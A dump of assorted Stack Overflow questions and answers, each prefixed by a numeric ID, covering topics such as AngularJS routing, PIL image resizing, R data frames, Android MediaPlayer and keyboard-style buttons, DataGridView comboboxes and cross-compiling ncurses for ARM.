'♥' '\n' "Test_data3" "Test_data4" "2s" "563" "Test data754" " " "5d" "Non System" "Association" "Test_data1" "Test_data2" "1s" "452" "Test data643" " " "4d" "System" "Institute" </code></pre>
25863380	0	angularjs Rest API <p>I've read up many articles on angularjs and REST but could not found any solution. Through java script I am calling api method, which is routed method as:</p> <pre><code>[Route("api/Comments/{docId}/comment/{revId}/get/{size}/getNumber/{number}")] [HttpPost] public IEnumerable&lt;Student&gt; Get(int docId,int revId,int size, int number) { // loadienter code hereng list here return list.ToList(); } //java script code var url='api/students/' + docId + '/student/' + revId + '/get/'+size+'/getNumber/'+number'; $http.get(url).success(function (response) { if (callback) callback(response.result); }; </code></pre> <p>But the method in controller class is not executing..How to solve this issue? P Please give me some suggestions..</p>
36906494	0	 <p>Default namespaces for new queries are stored in <code>%AppData%\LINQPad\DefaultQuery.xml</code></p> <p>As of v5.06.02, LINQPad lets you copy/move this file into the LINQPad.exe directory, and if present, it will take precedence over the copy in <code>%AppData%\LINQPad</code>.</p> <p>This means you can now share default namespaces with a team, as long as you run LINQPad.exe from the same shared folder. You can share other data in a similar manner, including <a href="https://www.linqpad.net/PortableDeployment.aspx" rel="nofollow">queries, drivers, plug-ins, connections and default references</a>.</p>
18871073	0	Enabling link in yii <p>My question is how to enable a particular link for multiple user class. Currently I am doing in the following way for one user class </p> <p>in layouts/main.php</p> <pre><code>array('label'=&gt;'Users', 'url'=&gt;array('/user/index'), 'visible'=&gt;Yii::app()-&gt;user-&gt;checkAccess('admin')) </code></pre> <p>But what if I want to allow another class called superadmin then how should I do it? I can't do it like this</p> <pre><code>array('label'=&gt;'Users', 'url'=&gt;array('/user/index'), 'visible'=&gt;Yii::app()-&gt;user-&gt;checkAccess('admin'), 'visible'=&gt;Yii::app()-&gt;user-&gt;checkAccess('superadmin')) </code></pre>
10502259	0	 <p>It depends on your skills on converting PSD to WordPress Template. Usually for a basic design I took 5hrs only. It includes the WordPress installation and setting-up the theme. Following are the factors to be considered when calculating the time:</p> <ol> <li>Complexity of PSD Design</li> <li>jQuery animations</li> <li>No. of pages/content</li> <li>Additional features needed by the client.</li> </ol> <p>Hope this will help.</p>
7098736	0	 <p>The default resizing method used by <code>thumbnail</code> is NEAREST, which is a really bad choice. If you're resizing to 1/5 of the original size for example, it will output one pixel and throw out the next 4 - a one-pixel wide line has only a 1 out of 5 chance of showing up <em>at all</em> in the result!</p> <p>The surprising thing is that BILINEAR and BICUBIC aren't much better. They take a formula and apply it to the 2 or 3 closest pixels to the source point, but there's still lots of pixels they don't look at, and the formula will deemphasize the line anyway.</p> <p>The best choice is ANTIALIAS, which appears to take all of the original image into consideration without throwing away any pixels. The lines will become dimmer but they won't disappear entirely; you can do an extra step to improve the contrast if necessary.</p> <p>Note that all of these methods will fall back to NEAREST if you're working with a paletted image, i.e. <code>im.mode == 'P'</code>. You must always convert to 'RGB'.</p> <pre><code>from PIL import Image im = Image.open(fn) im = im.convert('RGB') im.thumbnail(size, Image.ANTIALIAS) </code></pre> <p>Here's an example taken from the electronics.stackexchange site <a href="http://electronics.stackexchange.com/questions/5412/easiest-and-best-poe-ethernet-chip-micro-design-for-diy-interface-with-custom-ard/5418#5418">http://electronics.stackexchange.com/questions/5412/easiest-and-best-poe-ethernet-chip-micro-design-for-diy-interface-with-custom-ard/5418#5418</a></p> <p>Using the default NEAREST algorithm, which I assume is similar to the results you had:</p> <p><img src="https://i.stack.imgur.com/mcmmd.png" alt="NEAREST"></p> <p>Using the ANTIALIAS algorithm:</p> <p><img src="https://i.stack.imgur.com/zgYAx.png" alt="ANTIALIAS"></p>
32811632	0	 <p><a href="https://developer.android.com/training/basics/actionbar/styling.html" rel="nofollow">https://developer.android.com/training/basics/actionbar/styling.html</a></p> <p>Here you have everything explained in detail about styling the Action Bar.</p> <p>Best regards</p>
30734868	0	 <p>You can use <a href="https://developer.apple.com/library/ios/documentation/Cocoa/Reference/Foundation/Classes/NSString_Class/index.html#//apple_ref/occ/instp/NSString/hash" rel="nofollow"><code>NSString.hash</code></a>, or yes, other languages' characters are also represented by numbers: if you don't mind the size, you can contact them. <a href="http://en.wikipedia.org/wiki/Base64" rel="nofollow">Base64</a> also creates (hexadecimal) numbers from strings.</p>
24887930	0	 <p>The answer of you question...<code>You can't.</code></p> <blockquote> <p>Some other help:</p> </blockquote> <p>You can select all IDs once by </p> <pre><code> public String getId() { String ids = ""; String[] culumns = new String[] {ID,..}; Cursor c = ourDatabase.query(LOCATER_TABLE, culumns, null, null, null,null, null); int id = c.getColumnIndex(ID); for (c.moveToFirst(); !c.isAfterLast(); c.moveToNext()) { ids = ids + "\n"+c.getColumnIndex(LOCATER_ID); } return ids; } </code></pre> <p>Or a particular Id through some same row item/reference..like <code>select id where name = ..</code> or something like this.</p>
25921375	0	 <p>This is meant to complement Richard's, as it felt a little too substantial to simply edit into his.</p> <p>A typical code pattern for this sort of thing would be:</p> <pre><code>#Initialize an empty list of the desired length dfs &lt;- vector("list",3) #Fill the list with data frames, naming as we go for (i in seq_along(dfs)){ dfs[[i]] &lt;- data.frame(x = runif(5),y = runif(5)) names(dfs)[[i]] &lt;- paste0("df",i) } </code></pre> <p>where the use of <code>assign</code> is typically frowned upon as bad (stylistically). If the naming of the data frames is very regular, you don't even need to do it in the loop:</p> <pre><code>names(dfs) &lt;- paste0("df",seq_along(dfs)) </code></pre> <p>you can do it in a vectorized fashion as above. And as I mentioned below Richard's answer, even though having them all in a list is never worse, and usually better, than having them as separate objects, you can convert the list to separate objects via:</p> <pre><code>list2env(dfs,envir = .GlobalEnv) </code></pre>
9422906	0	MP3 doesn't play when I press stream <p>I am trying to play a MP3 from a stream but the issue is after I press play it would automatically play. Also the play button doesn't play the audio it just sets it to stream. How can I make my MP3 automatically play?</p> <pre><code> play.setOnClickListener(new View.OnClickListener() { public void onClick(View view) { if (!mediaPlayer.isPlaying()) { try { mediaPlayer.setDataSource(url); mediaPlayer.prepareAsync(); } catch (Exception e) { e.printStackTrace(); } mediaFileLengthInMilliseconds = mediaPlayer.getDuration(); if(!mediaPlayer.isPlaying()){ mediaPlayer.start(); play.setImageResource(R.drawable.ic_media_pause); }else { mediaPlayer.pause(); play.setImageResource(R.drawable.ic_media_play); } primarySeekBarProgressUpdater(); } }}); sb.setMax(99); sb.setOnTouchListener(this); mediaPlayer = new MediaPlayer(); mediaPlayer.setOnBufferingUpdateListener(this); mediaPlayer.setOnCompletionListener(this); } private void primarySeekBarProgressUpdater() { sb.setProgress((int)(((float)mediaPlayer.getCurrentPosition()/mediaFileLengthInMilliseconds)*100)); if (mediaPlayer.isPlaying()) { notification = new Runnable() { public void run() { primarySeekBarProgressUpdater(); } }; handler.postDelayed(notification,1000); } } public boolean onTouch(View v, MotionEvent event) { if(v.getId() == R.id.progress_bar){ /** Seekbar onTouch event handler. Method which seeks MediaPlayer to seekBar primary progress position*/ if(mediaPlayer.isPlaying()){ SeekBar sb = (SeekBar)v; int playPositionInMillisecconds = (mediaFileLengthInMilliseconds / 100) * sb.getProgress(); mediaPlayer.seekTo(playPositionInMillisecconds); } } return false; } public void onCompletion(MediaPlayer mp) { play.setImageResource(R.drawable.ic_media_play); mediaPlayer.stop(); } public void onBufferingUpdate(MediaPlayer mp, int percent) { sb.setSecondaryProgress(percent); } } </code></pre> <p>Am I doing anything wrong? I click play and I see my seekbar filling up but it wont play. </p> <p>I also get this message:</p> <pre><code>E/MediaPlayer(28985): stop called in state 0 E/MediaPlayer(28985): error (-38, 0) E/MediaPlayer(28985): Error (-38,0) E/MediaPlayer(28985): stop called in state 0 E/MediaPlayer(28985): error (-38, 0) E/MediaPlayer(28985): Error (-38,0) E/MediaPlayer(28985): stop called in state 0 E/MediaPlayer(28985): error (-38, 0) E/MediaPlayer(28985): Error (-38,0) E/MediaPlayer(28985): stop called in state 0 E/MediaPlayer(28985): error (-38, 0) E/MediaPlayer(28985): Error (-38,0) E/MediaPlayer(28985): stop called in state 0 E/MediaPlayer(28985): error (-38, 0) E/MediaPlayer(28985): Error (-38,0) E/MediaPlayer(28985): stop called in state 0 E/MediaPlayer(28985): error (-38, 0) E/MediaPlayer(28985): Error (-38,0) </code></pre>
3036057	0	 <p>I wouldn't use XML-RPC. There's no need. Send either HTTP query parameters (GET or POST) to the server or possibly a JSON object and get JSON or HTML in response. PHP has methods for encoding and decoding JSON: <code>json_encode()</code> and <code>json_decode()</code>.</p>
2379818	0	Does XNA have a Polygon, like Rectangle? <p>I'm making a game where there is only a certain space the player can move around. I want to represent this space with a polygon of some sort. The main question I would ask of it is whether it contains a given point. (Like <code>rect.intersect()</code>)</p> <p>Does XNA have any way to do this?</p>
19941569	0	Populate datagridview combobox <p>I have the following code on my windows form load:</p> <pre><code> private void Panou_Load(object sender, EventArgs e) { List&lt;string&gt;[] list; //list in a array with all elements from a select query list = Conexiune.Select(); dataGridView1.Rows.Clear(); for (int i = 0; i &lt; list[0].Count; i++) { int number = dataGridView1.Rows.Add(); dataGridView1.Rows[number].Cells[0].Value = list[0][i]; dataGridView1.Rows[number].Cells[1].Value = list[1][i]; dataGridView1.Rows[number].Cells[2].Value = list[2][i]; dataGridView1.Rows[number].Cells[4].Value = list[4][i]; dataGridView1.Rows[number].Cells[5].Value = list[5][i]; dataGridView1.Rows[number].Cells[6].Value = list[6][i]; } } </code></pre> <p>On my datagridview the 4th cell is a combobox. How can I populate the combobox with the value from my select (list[3][i] variable)?</p> <p><strong>UPDATE 1:</strong></p> <pre><code> private void Panou_Load(object sender, EventArgs e) { List&lt;string&gt;[] list; list = Conexiune.Select(); dataGridView1.Rows.Clear(); for (int i = 0; i &lt; list[0].Count; i++) { int number = dataGridView1.Rows.Add(); dataGridView1.Rows[number].Cells[0].Value = list[0][i]; dataGridView1.Rows[number].Cells[1].Value = list[1][i]; dataGridView1.Rows[number].Cells[2].Value = list[2][i]; (dataGridView1.Columns[3] as DataGridViewComboBoxColumn).DataSource = new List&lt;string&gt; { list[3][i] }; dataGridView1.Rows[number].Cells[4].Value = list[4][i]; dataGridView1.Rows[number].Cells[5].Value = list[5][i]; dataGridView1.Rows[number].Cells[6].Value = list[6][i]; } } </code></pre> <p><a href="http://i.stack.imgur.com/0WLDr.jpg" rel="nofollow">http://i.stack.imgur.com/0WLDr.jpg</a></p> <p><strong>UPDATE 2:</strong></p> <pre><code> private void Panou_Load(object sender, EventArgs e) { List&lt;string&gt;[] list; list = Conexiune.Select(); dataGridView1.Rows.Clear(); (dataGridView1.Columns[3] as DataGridViewComboBoxColumn).DataSource = new List&lt;string&gt; { "", "activ", "inactiv", "neverificat" }; for (int i = 0; i &lt; list[0].Count; i++) { int number = dataGridView1.Rows.Add(); dataGridView1.Rows[number].Cells[0].Value = list[0][i]; dataGridView1.Rows[number].Cells[1].Value = list[1][i]; dataGridView1.Rows[number].Cells[2].Value = list[2][i]; dataGridView1.Rows[number].Cells[3].Value = list[3][i]; dataGridView1.Rows[number].Cells[4].Value = list[4][i]; dataGridView1.Rows[number].Cells[5].Value = list[5][i]; dataGridView1.Rows[number].Cells[6].Value = list[6][i]; } } </code></pre> <p><a href="http://i.stack.imgur.com/MlnER.jpg" rel="nofollow">http://i.stack.imgur.com/MlnER.jpg</a></p>
9363916	0	asp.net calling button click event that i created <p>I am writing a web app in asp.net. I have an aspx page that call a class (Test) that Generates a button and return the button. The class constructor get the function that the button click event should activate (userClickOnButton) and insert to the button.click += EventHandler("the name of the function (userClickOnButton)");</p> <p>the problem is that in the aspx behind code i use IsPostBack (cant take it off , need this Condition) and when i click on the button the progrem does not go to the event i created for the button, but when i take off the IsPostBack Condition the program does go to the event i created (the function userClickOnButton).</p> <p>my code is: aspx code behind</p> <pre><code>protected void Page_Load(object sender, EventArgs e) { if (!IsPostBack) { Test test = new Test(userClickOnButton); Button button = test.AddButton(); cell.Controls.Add(button); } } private void userClickOnButton(object sender, EventArgs e) { this.ModalPopupExtenderSelectFilds.Show(); } </code></pre> <p>my class</p> <pre><code>public class Test { Action&lt;object, EventArgs&gt; m_ButtonClickActivateFunction; public Test(Action&lt;object, EventArgs&gt; func) { m_ButtonClickActivateFunction = func; } public Button AddButton() { Button button = new Button(); button.Text = "select"; button.ID = "buttonID"; button.Click += new EventHandler(m_ButtonClickActivateFunction); return button; } </code></pre> <p>need help to activate the event without taking out the IsPostBack Condition</p> <p>thanks</p>
26345251	0	Ionic + Auth0 hangs when emulating on iOS <p>I followed @mgonto 's <a href="http://ionicframework.com/blog/authentication-in-ionic/" rel="nofollow noreferrer">Adding Auth to your Ionic App in 5 minutes</a>. It works great in my browser but when I "ionic emulate ios" it just hangs after I try to authenticate with Facebook (see screenshot). </p> <p>Any suggestions?</p> <p><img src="https://i.stack.imgur.com/MwdT9.png" alt="Screenshot of Auth0 hanging during iOS emulation"></p>
13443876	0	 <h2>Some General Stuff</h2> <p>You need to know, that if you have a portable heap dump (phd, <a href="http://memoryanalyzer.blogspot.co.at/2010/01/heap-dump-analysis-with-memory-analyzer.html" rel="nofollow">see types here</a>), then it does not contain actual data (primitives), so then you can make your findings only based on reference map (which types hold a reference to which other types).</p> <p>You can give a try to <a href="http://help.eclipse.org/indigo/index.jsp?topic=/org.eclipse.mat.ui.help/reference/oqlsyntax.html" rel="nofollow">OQL</a>. This is an SQL like language, with which you can query your objects.</p> <p>One example:</p> <pre><code>select * from java.lang.String s where s.@retainedHeapSize&gt;10000 </code></pre> <p>This gives back all strings, that are bigger than ~10k. You can make also some functions (like this <a href="http://stackoverflow.com/a/9469829/337621">aggregating</a> here).</p> <p>You could give a try to it.</p> <h2>As for the current problem</h2> <p>If you check the FutureTask source (here is JDK6 below):</p> <pre><code>public class FutureTask&lt;V&gt; implements RunnableFuture&lt;V&gt; { /** Synchronization control for FutureTask */ private final Sync sync; ... public FutureTask(Callable&lt;V&gt; callable) { if (callable == null) throw new NullPointerException(); sync = new Sync(callable); } ... public FutureTask(Runnable runnable, V result) { sync = new Sync(Executors.callable(runnable, result)); } </code></pre> <p>The actual Runnable is referred by the Sync object:</p> <pre><code> private final class Sync extends AbstractQueuedSynchronizer { private static final long serialVersionUID = -7828117401763700385L; /** State value representing that task is running */ private static final int RUNNING = 1; /** State value representing that task ran */ private static final int RAN = 2; /** State value representing that task was cancelled */ private static final int CANCELLED = 4; /** The underlying callable */ private final Callable&lt;V&gt; callable; /** The result to return from get() */ private V result; /** The exception to throw from get() */ private Throwable exception; /** * The thread running task. When nulled after set/cancel, this * indicates that the results are accessible. Must be * volatile, to ensure visibility upon completion. */ private volatile Thread runner; Sync(Callable&lt;V&gt; callable) { this.callable = callable; } </code></pre> <p>So in the GUI open the Sync object (not open in your picture), and then you can check the Runnables.</p> <p>I dont know if you can change the code or not, but in general it is better always limit the size of the queue used by an executor, since this way you can avoid leaks. Or you can use some persisted queue. If you apply a limit you can define the rejection policy like for example reject, run in caller and so on. See <a href="http://docs.oracle.com/javase/1.5.0/docs/api/java/util/concurrent/ThreadPoolExecutor.html" rel="nofollow">http://docs.oracle.com/javase/1.5.0/docs/api/java/util/concurrent/ThreadPoolExecutor.html</a> for details.</p>
14710438	0	 <pre><code>SELECT a.* FROM tableName a INNER JOIN ( SELECT `Cut-off`, COUNT(*) totalCOunt FROM tableName GROUP BY `Cut-off` HAVING COUNT(*) &gt; 1 ) b ON a.`Cut-off` = b.`Cut-off` </code></pre> <p>for faster performance, add an <code>INDEX</code> on column <code>Cut-off</code></p> <ul> <li><a href="http://www.sqlfiddle.com/#!2/966aa/4" rel="nofollow">SQLFiddle Demo</a></li> </ul>
17465913	0	 <p>It's very simple.</p> <pre><code> &lt;div data-role="header" data-position="fixed" data-tap-toggle="false"&gt; &lt;/div&gt; </code></pre> <p>It works for me.</p>
11918321	0	 <p>I would advice you to generate a XML Sitemap.</p> <p>A sitemap will allows you to specify the parameters you're looking to pass to the search engine, namingly the importance (or weight) that you give to pages and the rate at which the pages (usually) are updated. </p> <p>This doesn't mean the search engines will stick to only that. It could be that you say the page updates once a year and that it gets crawled 3 times that year, or that it is set to daily, and only gets crawled once a month.</p> <p><a href="http://support.google.com/webmasters/bin/answer.py?hl=en&amp;answer=156184" rel="nofollow">Google on SiteMaps</a></p>
39953048	0	 <p>If you prefer XPath over Groovy scripting, you can still use a simple XPath expression:</p> <pre><code>declare namespace b="base"; starts-with(//b:policies/b:policy/b:total-premium, '7.362') or starts-with(//b:policies/b:policy/b:total-premium, '6.994') or starts-with(//b:policies/b:policy/b:total-premium, '7.730') </code></pre> <p>The expected result is then <em>true</em>.</p> <p>With XPath you can use functions and operators as in other programming languages.</p>
13509500	0	 <p>Create a ten-branch index tree, record the number of children of each node. Then browse the tree, stop at the node whose child number is ten.</p>
25258930	0	Cross-compiling ncurses 5.9 for ARM - form lib not found <p>I'm trying to cross-compile ncurses 5.9 for ARM for the purpose of porting GNU nano editor to this architecture. I've built my toolchain using crosstool-ng and the build finished without any problems. When trying to make GNU nano I've received some error messages concerning missing ncurses libs in my toolchain, what indeed is true. I've downloaded ncurses 5.9 and configured is as follows:</p> <p><code>./configure arm-linux --target=arm-linux --with-shared --prefix=/opt/x-tools/arm-unknown-linux-gnueabi</code></p> <p>Then I've tried to make ncurses 5.9 with following command:</p> <p><code>make HOSTCC=gcc CXX=arm-unknown-linux-gnueabi-c++</code></p> <p>And this part resulted in error:</p> <p><code>/opt/x-tools/arm-unknown-linux-gnueabi/bin/../lib/gcc/arm-unknown-linux-gnueabi/4.3.2/../../../../arm-unknown-linux-gnueabi/bin/ld: cannot find -lform collect2: ld returned 1 exit status</code></p> <p>From the error I assume I'm missing a library or a header "form.h" or "form.o". Could you point me to package containing this missing lib?</p> <p>Host OS is Debian 7.6 i386.</p>
25303606	0	Editing Class permission schema not working (REST) <p>By following the instructions given in <a href="http://quickblox.com/developers/Custom_Objects#Permissions" rel="nofollow">http://quickblox.com/developers/Custom_Objects#Permissions</a> every new record created (using REST interface) seems to get the ORIGNAL Class permission values instead of the edited ones.</p> <p>In addition to this, the "use class permission" check box makes no difference on those problematic records. If a single record is created or edited using the web admin panel, then the permissions are working on the client app also.</p> <p>Thanks Janne</p>
4343680	0	 <p>You might want to look into the <code>strchr</code> function which searches a string for a given character:</p> <pre><code>include &lt;string.h&gt; char *strchr (const char *s, int c); </code></pre> <blockquote> <p>The strchr function locates the first occurrence of c (converted to a char) in the string pointed to by s. The terminating null character is considered to be part of the string.</p> <p>The strchr function returns a pointer to the located character, or a null pointer if the character does not occur in the string.</p> </blockquote> <p>Something like:</p> <pre><code>if (strchr (",.();:-\"&amp;?%$![]{}_&lt;&gt;/#*_+=", curChar) != NULL) ... </code></pre> <p>You'll have to declare <code>curChar</code> as a <code>char</code> rather than a <code>string</code> and use:</p> <pre><code>curChar = paragraph[subscript]; </code></pre> <p>rather than:</p> <pre><code>curChar = paragraph.substr(subscript, 1); </code></pre> <p>but they're relatively minor changes and, since your stated goal was <code>I want to change the if statement into [something] more meaningful and simple</code>, I think you'll find that's a very good way to achieve it.</p>
7577150	0	 <p>Try something like this:</p> <pre><code>$('ul li').click(function() { var elem=$(this).text(); $("select option[value='"+elem+"']").attr('selected', 'selected'); }); </code></pre>
31273155	0	Android Dash Lines Not Showing <p>Just note, I did reference the creating a dash line issues here on SO and with various searches via Google... Anyway, the issue is just that. I am not able to draw dash lines via xml (Can with DashPathEffect but don't want to keep doing this). Here is the dash drawable I use (dash_line.xml):</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;shape xmlns:android="http://schemas.android.com/apk/res/android" android:shape="line"&gt; &lt;stroke android:color="@color/whiteColor" android:dashWidth="10dp" android:width="10dp" android:dashGap="4dp"/&gt; &lt;/shape&gt; </code></pre> <p>Now, then the implementation in xml for the imageview:</p> <pre><code>&lt;ImageView android:id="@+id/dash_test" android:layout_width="200dp" android:layout_height="10dp" android:background="@drawable/dash_line"/&gt; </code></pre> <p>I am working with Android API 18. I even disable Hardware Acceleration in the manifest and even on the view itself by setting the layer type (both tried in xml and programmatically). I verified by taking the view, dashView.isHardwareAccelerated() and it is false. Any thoughts as to what I am missing?</p> <p>Edit: I can draw solid lines by the way so I know its not a layering issue. </p> <p>Edit: One work around is to use PathDashEffect. Although then you get into the issue of not being able to draw on top of images (which I would need to do). So... still would like an xml solution.</p>
7902405	0	ASP.NET AJAX Gauges with Asynchronous Update and animation <p>I´m currently working on a dashboard styled project, where i need to have gauges to display current values. </p> <p>can someone point me to some commercial or open source asp.net ajax controls that include gauges with these capabilities?</p> <p>Thanks in advance!</p>
32147525	0	How to create buttons like keyboard keys in android? <p>This question seems trivial. I want to create a button like keyboard keys for my app. When I click on it, a popup window appears above that button showing the letter pressed. Everything works great till now except one thing. When I add onFocusChangedListener to the button, nothing happens. I need to let my button act as a keyboard key, but I don't know how.</p> <p><a href="https://i.stack.imgur.com/Zq2Ny.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Zq2Ny.png" alt="Keyboard Button Example"></a></p> <p>As you can see here, when a button is focused, a popup window appears. I want to do that, but <code>onFocusChangeListener</code> doesn't work. I know I can use a <code>KeyboardView</code> to achieve that, but I don't want to use that due to some other issues like centering buttons and setting keys' height with layout_weight. So I need to make it with normal buttons.</p> <h1>What I tried:</h1> <p><strong>My First Try:</strong></p> <pre><code>button.setOnFocusChangeListener(new View.OnFocusChangeListener() { @Override public void onFocusChange(View v, boolean hasFocus) { if (hasFocus) { popupWindow.showAtLocation(keyboardPopup, Gravity.NO_GRAVITY, location.left - 10, location.top - button.getHeight()); } else { popupWindow.dismiss(); } } }); </code></pre> <p><strong><em>Result:</em></strong> Nothing happened. The popup window didn't appear at all.</p> <p><strong><em>Edit:</em></strong> After I have added <code>button.setFocusableInTouchMode(true);</code> as Ashley suggested, onFocusChanged is now getting called, but it acts so weird. The popup is <strong>sometimes</strong> shown, but at the same time when it is shown, it never disappears...</p> <p><strong>My Second Try:</strong></p> <pre><code>button.setOnTouchListener(new View.OnTouchListener() { @Override public boolean onTouch(View v, MotionEvent event) { switch (event.getAction()) { case MotionEvent.ACTION_DOWN: popupWindow.showAtLocation(keyboardPopup, Gravity.NO_GRAVITY, location.left - 10, location.top - button.getHeight()); break; case MotionEvent.ACTION_UP: popupWindow.dismiss(); break; } return true; } }); </code></pre> <p><strong><em>Result:</em></strong> This one acted so weird. Sometimes the popup shows and sometimes not, but when it is shown, the button didn't also change its state. It should have been focused, but nothing happened to the button, it acts as if it was in a normal state (Button's background doesn't change with state_focused declared in my drawable xml). It seems that onTouchListener overrides the button's functionality.</p> <p><strong>Here is a part of my layout:</strong></p> <pre><code>&lt;LinearLayout android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="0dp" android:layout_weight="3"&gt; &lt;LinearLayout android:orientation="horizontal" android:layout_width="fill_parent" android:layout_height="0dp" android:layout_weight="1"&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="Q" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="W" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="E" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="R" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="T" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="Y" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="U" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="I" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="O" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="P" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;/LinearLayout&gt; &lt;LinearLayout android:orientation="horizontal" android:layout_width="fill_parent" android:layout_height="0dp" android:layout_weight="1"&gt; &lt;View android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="0.5" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="A" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="S" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="D" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="F" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="G" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="H" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="J" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="K" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="L" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;View android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="0.5" /&gt; &lt;/LinearLayout&gt; &lt;LinearLayout android:orientation="horizontal" android:layout_width="fill_parent" android:layout_height="0dp" android:layout_weight="1"&gt; &lt;View android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1.5" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="Z" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="X" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="C" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="V" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="B" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="N" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;Button android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1" android:text="M" android:background="@drawable/keyboard_button" android:textColor="#FFFFFF" android:onClick="onKeyboardClick" /&gt; &lt;View android:layout_width="0dp" android:layout_height="fill_parent" android:layout_weight="1.5" /&gt; &lt;/LinearLayout&gt; &lt;/LinearLayout&gt; </code></pre> <p><strong>In code:</strong></p> <pre><code>public void onKeyboardClick(View view) { //The view pressed is a button. final Button button = (Button) view; //Create a PopupWindow. LayoutInflater inflater = (LayoutInflater) getSystemService(LAYOUT_INFLATER_SERVICE); final View keyboardPopup = inflater.inflate(R.layout.keyboard_popup, null); final PopupWindow popupWindow = new PopupWindow(keyboardPopup, view.getWidth() + 20, view.getHeight()); TextView keyboardKey = (TextView) keyboardPopup.findViewById(R.id.keyboard_key); keyboardKey.setText(button.getText().toString()); //Get button location to show the popup above it. int[] keyLocation = new int[2]; button.getLocationOnScreen(keyLocation); final Rect location = new Rect(); location.left = keyLocation[0]; location.top = keyLocation[1]; location.right = location.left + button.getWidth(); location.bottom = location.top + button.getHeight(); //This is a temporary solution. I don't want to use that. button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { //Show popup. popupWindow.showAtLocation(keyboardPopup, Gravity.NO_GRAVITY, location.left - 10, location.top - button.getHeight()); Handler handler = new Handler(); handler.postDelayed(new Runnable() { @Override public void run() { //Dismiss popup. popupWindow.dismiss(); } }, 200); } }); } </code></pre> <p>Any help will be greatly appreciated. Thanks.</p>
